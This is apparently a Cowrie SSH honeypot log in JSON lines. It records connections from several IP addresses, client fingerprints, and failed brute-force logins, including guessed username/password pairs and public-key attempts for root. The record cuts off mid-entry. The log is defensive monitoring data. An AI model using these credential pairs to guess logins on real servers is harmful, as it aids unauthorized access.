{"eventid":"cowrie.session.connect","src_ip":"121.168.139.251","src_port":43512,"dst_ip":"159.203.135.109","dst_port":22,"session":"c56ea4f10102","protocol":"ssh","message":"New connection: 121.168.139.251:43512 (159.203.135.109:22) [session: c56ea4f10102]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:50:28.853169Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:50:28.858058Z","src_ip":"121.168.139.251","session":"c56ea4f10102","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:50:29.059128Z","src_ip":"121.168.139.251","session":"c56ea4f10102","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"12345678","message":"login attempt [ftp/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:50:29.892603Z","src_ip":"121.168.139.251","session":"c56ea4f10102","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:50:31.097037Z","src_ip":"121.168.139.251","session":"c56ea4f10102","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.111.67.247","src_port":52594,"dst_ip":"10.17.0.5","dst_port":22,"session":"331ee5cd9ca1","protocol":"ssh","message":"New connection: 78.111.67.247:52594 (10.17.0.5:22) [session: 331ee5cd9ca1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:50:33.371743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:50:33.377678Z","src_ip":"78.111.67.247","session":"331ee5cd9ca1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:50:33.468497Z","src_ip":"78.111.67.247","session":"331ee5cd9ca1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d0:a5:d0:32:2b:c1:d6:29:92:6e:92:cf:d8:ce:e4:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDG93Twz76BTYweLdN+cvHWEijP8pIsNZnpujoxSEApRzgSwDWtIKQ/8HRxd+F2j9Bglacw/A2KDvEmkQYPgCgVir16GZdGpg/papPtlLY9iZsJpb+pjhNhabkyOMn2/cVLRcEY6uOPLoPQTodJOwEKFyC8kWV9NG/J76bDHs0KyU9nej1ke2dfr1+bMD8+lBbN9btEQwsrVXFTtE+zgNGju4yN6u58DsawJSiFPOxS3iU3BDnfvqQzjuOBM3vsx17m1ZdYv+TpsT8lqkNmC9BfTWidwPUnU7+e+Eq61YVWcUYvLemvwQLBm85ugvx0RxgCPaecbIC5SruTmUO+cxWx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d0:a5:d0:32:2b:c1:d6:29:92:6e:92:cf:d8:ce:e4:43","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:50:33.896834Z","src_ip":"78.111.67.247","session":"331ee5cd9ca1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d0:a5:d0:32:2b:c1:d6:29:92:6e:92:cf:d8:ce:e4:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDG93Twz76BTYweLdN+cvHWEijP8pIsNZnpujoxSEApRzgSwDWtIKQ/8HRxd+F2j9Bglacw/A2KDvEmkQYPgCgVir16GZdGpg/papPtlLY9iZsJpb+pjhNhabkyOMn2/cVLRcEY6uOPLoPQTodJOwEKFyC8kWV9NG/J76bDHs0KyU9nej1ke2dfr1+bMD8+lBbN9btEQwsrVXFTtE+zgNGju4yN6u58DsawJSiFPOxS3iU3BDnfvqQzjuOBM3vsx17m1ZdYv+TpsT8lqkNmC9BfTWidwPUnU7+e+Eq61YVWcUYvLemvwQLBm85ugvx0RxgCPaecbIC5SruTmUO+cxWx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:50:33.900792Z","src_ip":"78.111.67.247","session":"331ee5cd9ca1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"91:d0:5a:0b:80:4c:50:4a:ee:45:39:b2:e8:eb:a8:b7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC15S4rreefNwyv7vj8XXL+EQVFDTY+uBbtuYXSjqvxfJBm83ukjBrgBa34r2rqGndKSAd2pHyGj3gE//dWeTAWFnvNfTkcu1+RYYhaqBp9GGW+clCog960cm/G3hHvbfDvxBuWTRttNg1D9up6EFPxqjM7KUbXHz2Euqo87O0avotQvs3GE5rqFiJ5ohUYRY/A6VMY74tE7XMzPWuFAZ4tW1M3B7oTuSKVjApk0hNYECFBGmHROoUgvSnsGy66kCalnvjzLbGXauwsD+ZjfDEdpw7RUWOQ0LgHLiXUvDqnkt48E/F1DgDZjyOtkY/E4lRSndwp/jP5D/31a+dW7Il7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 91:d0:5a:0b:80:4c:50:4a:ee:45:39:b2:e8:eb:a8:b7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:50:33.992852Z","src_ip":"78.111.67.247","session":"331ee5cd9ca1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"91:d0:5a:0b:80:4c:50:4a:ee:45:39:b2:e8:eb:a8:b7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC15S4rreefNwyv7vj8XXL+EQVFDTY+uBbtuYXSjqvxfJBm83ukjBrgBa34r2rqGndKSAd2pHyGj3gE//dWeTAWFnvNfTkcu1+RYYhaqBp9GGW+clCog960cm/G3hHvbfDvxBuWTRttNg1D9up6EFPxqjM7KUbXHz2Euqo87O0avotQvs3GE5rqFiJ5ohUYRY/A6VMY74tE7XMzPWuFAZ4tW1M3B7oTuSKVjApk0hNYECFBGmHROoUgvSnsGy66kCalnvjzLbGXauwsD+ZjfDEdpw7RUWOQ0LgHLiXUvDqnkt48E/F1DgDZjyOtkY/E4lRSndwp/jP5D/31a+dW7Il7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:50:33.997812Z","src_ip":"78.111.67.247","session":"331ee5cd9ca1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"09:73:d0:1e:9b:6f:2a:f1:b4:89:4a:57:e2:1a:e9:94","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC3wtWXNV2ZDFzpGXYVasLG56OIPWY1yOtP+IyeGpzCDhtDbR7JTKmlCGVNjVys9cdqvb0hV2L5RZJsJ7RVPVPxcBkdbKajy+Qoy4c5/CoqpQ0T6TiwnAkg09TGqSgxSx6P9E/VY0ZuVoH10Z6nALBw62bnwGdqY4cTcXpYHJl1s2qlw6MKWlG2wuBO+kefWbY4SMZkltdzD87J15Rs/RHM8UFjdVTZh//A6zbZ8eCUXR9qWzCWc5xC0U3Ylptu+cnIOT+G7uydX7fEbTY1UCx+OiTgNO7MdYDWQjwlRIzU7zeK11yYBxqqLMWqK916rLZT6O9EoRulc4euO1TgM83cdSvthHv66Zpg+T2wgmbaoQ3RLP+3R9Gq27pKBlgAudAfYXDCFNZlj2WYVM5aLOrYKmPz3yVPJJuujg2YEozL2dNSqWmUbwJj3WDHHAdAEj4oZHLyeJL5zG/ee6lXlFoqS4O73XZVoszQ1HiUYjPGVNONlcBsywP7Kjz/pt9NLksIby5uzgQ4iH9uwVLhQ6qAAilAYjyAEcVJlER+J15BMdfm7XDtkSc+RqX4ZnHVBq+nevstQ4+r4HpvStr2Pc8inTAaR0l2ColN084pXp3+js5u8cKYQh3bdBmr16vFw+pzqlg0o2ec9j//O0+5HSDj34vfmdH1xAPKIAcNCMygvw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 09:73:d0:1e:9b:6f:2a:f1:b4:89:4a:57:e2:1a:e9:94","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:50:34.089710Z","src_ip":"78.111.67.247","session":"331ee5cd9ca1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"09:73:d0:1e:9b:6f:2a:f1:b4:89:4a:57:e2:1a:e9:94","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC3wtWXNV2ZDFzpGXYVasLG56OIPWY1yOtP+IyeGpzCDhtDbR7JTKmlCGVNjVys9cdqvb0hV2L5RZJsJ7RVPVPxcBkdbKajy+Qoy4c5/CoqpQ0T6TiwnAkg09TGqSgxSx6P9E/VY0ZuVoH10Z6nALBw62bnwGdqY4cTcXpYHJl1s2qlw6MKWlG2wuBO+kefWbY4SMZkltdzD87J15Rs/RHM8UFjdVTZh//A6zbZ8eCUXR9qWzCWc5xC0U3Ylptu+cnIOT+G7uydX7fEbTY1UCx+OiTgNO7MdYDWQjwlRIzU7zeK11yYBxqqLMWqK916rLZT6O9EoRulc4euO1TgM83cdSvthHv66Zpg+T2wgmbaoQ3RLP+3R9Gq27pKBlgAudAfYXDCFNZlj2WYVM5aLOrYKmPz3yVPJJuujg2YEozL2dNSqWmUbwJj3WDHHAdAEj4oZHLyeJL5zG/ee6lXlFoqS4O73XZVoszQ1HiUYjPGVNONlcBsywP7Kjz/pt9NLksIby5uzgQ4iH9uwVLhQ6qAAilAYjyAEcVJlER+J15BMdfm7XDtkSc+RqX4ZnHVBq+nevstQ4+r4HpvStr2Pc8inTAaR0l2ColN084pXp3+js5u8cKYQh3bdBmr16vFw+pzqlg0o2ec9j//O0+5HSDj34vfmdH1xAPKIAcNCMygvw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:50:34.093924Z","src_ip":"78.111.67.247","session":"331ee5cd9ca1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f8:ec:bf:33:8c:b7:3b:e5:cb:da:f1:35:55:7a:a1:eb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtdl5VCLVoMphBnonX0YNmg1mk0NNFiPKqmjAEQil7o51nFCRjce5fUr3Jo0LYG+GLKgzDsvTHoIBIWPBVsJWo2StIRwwlYsBUoYHqLkrTOZXzFJJ590ryuH0/gRbH2ELfErYxrRKHvigV9ZXT3aXaC/M/nmNMkSdKJGgjXDHBRe/fpMkCEas0oFuIITLZhebrFfs6glQ7yEDnmiSQCbiWFzIh/CqnaYICmTbJuN2zJYqS0aK876QsDh+0VDTSKifomEXx6ce7abIpKJqGYolMI3NrBEomIaWu/kAHn675cFb4nNykf7Abplpf6nzfviHe+dvfpH0Lty4NM8qx1ewH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f8:ec:bf:33:8c:b7:3b:e5:cb:da:f1:35:55:7a:a1:eb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:50:34.184899Z","src_ip":"78.111.67.247","session":"331ee5cd9ca1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f8:ec:bf:33:8c:b7:3b:e5:cb:da:f1:35:55:7a:a1:eb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtdl5VCLVoMphBnonX0YNmg1mk0NNFiPKqmjAEQil7o51nFCRjce5fUr3Jo0LYG+GLKgzDsvTHoIBIWPBVsJWo2StIRwwlYsBUoYHqLkrTOZXzFJJ590ryuH0/gRbH2ELfErYxrRKHvigV9ZXT3aXaC/M/nmNMkSdKJGgjXDHBRe/fpMkCEas0oFuIITLZhebrFfs6glQ7yEDnmiSQCbiWFzIh/CqnaYICmTbJuN2zJYqS0aK876QsDh+0VDTSKifomEXx6ce7abIpKJqGYolMI3NrBEomIaWu/kAHn675cFb4nNykf7Abplpf6nzfviHe+dvfpH0Lty4NM8qx1ewH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:50:34.189236Z","src_ip":"78.111.67.247","session":"331ee5cd9ca1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c2:8c:c9:8e:68:7a:0d:f3:9b:bf:4c:66:3a:00:5a:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC39DZe2SXqLv6X/WuZ51QngnVxRL4OmbBP0Up1Q5EfQKQ9Su/iYM7oMn7A3APTEwhpHtlw8enb1/yxf1taibbDIjTPt2Fhe230/6KqOYKZEX6zc83HfrhfvNeWSfZk0U+6dCxYAIGJcx6lLmCiBErIVxOu262h2WZVK3wCV49kz9ePwQWRa3l+z9WBNZEV9vDSNX//acJ3QceNZjWgoHU7ijxL3vGibp9uvZ4cb/z3a1ADCbvgzghIbgSfVmu30Eh+ww75mcVvSuTtXvd0+8UZbLHYWWRWpipzEPKtyXiqO+JVgQheqxX09++TfcycW61Qe0x0qxKYb5bL+lFdMJI3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c2:8c:c9:8e:68:7a:0d:f3:9b:bf:4c:66:3a:00:5a:34","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:50:34.287893Z","src_ip":"78.111.67.247","session":"331ee5cd9ca1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c2:8c:c9:8e:68:7a:0d:f3:9b:bf:4c:66:3a:00:5a:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC39DZe2SXqLv6X/WuZ51QngnVxRL4OmbBP0Up1Q5EfQKQ9Su/iYM7oMn7A3APTEwhpHtlw8enb1/yxf1taibbDIjTPt2Fhe230/6KqOYKZEX6zc83HfrhfvNeWSfZk0U+6dCxYAIGJcx6lLmCiBErIVxOu262h2WZVK3wCV49kz9ePwQWRa3l+z9WBNZEV9vDSNX//acJ3QceNZjWgoHU7ijxL3vGibp9uvZ4cb/z3a1ADCbvgzghIbgSfVmu30Eh+ww75mcVvSuTtXvd0+8UZbLHYWWRWpipzEPKtyXiqO+JVgQheqxX09++TfcycW61Qe0x0qxKYb5bL+lFdMJI3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:50:34.291216Z","src_ip":"78.111.67.247","session":"331ee5cd9ca1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:50:34.381212Z","src_ip":"78.111.67.247","session":"331ee5cd9ca1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.38.73.89","src_port":40424,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb6450ca98bd","protocol":"ssh","message":"New connection: 156.38.73.89:40424 (159.203.135.109:22) [session: bb6450ca98bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:50:41.814644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:50:41.820464Z","src_ip":"156.38.73.89","session":"bb6450ca98bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:50:42.036216Z","src_ip":"156.38.73.89","session":"bb6450ca98bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"root1","message":"login attempt [root1/root1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:50:42.930204Z","src_ip":"156.38.73.89","session":"bb6450ca98bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:50:44.149988Z","src_ip":"156.38.73.89","session":"bb6450ca98bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":58464,"dst_ip":"159.203.135.109","dst_port":22,"session":"1485edbdab34","protocol":"ssh","message":"New connection: 31.59.89.180:58464 (159.203.135.109:22) [session: 1485edbdab34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:50:50.450068Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:50:50.454647Z","src_ip":"31.59.89.180","session":"1485edbdab34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:50:50.567097Z","src_ip":"31.59.89.180","session":"1485edbdab34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vinay","password":"vinay@123","message":"login attempt [vinay/vinay@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:50:51.048321Z","src_ip":"31.59.89.180","session":"1485edbdab34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:50:52.167673Z","src_ip":"31.59.89.180","session":"1485edbdab34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.107.60.45","src_port":34902,"dst_ip":"159.203.135.109","dst_port":22,"session":"cddb8f077635","protocol":"ssh","message":"New connection: 103.107.60.45:34902 (159.203.135.109:22) [session: cddb8f077635]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:50:52.632431Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:50:52.636893Z","src_ip":"103.107.60.45","session":"cddb8f077635","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 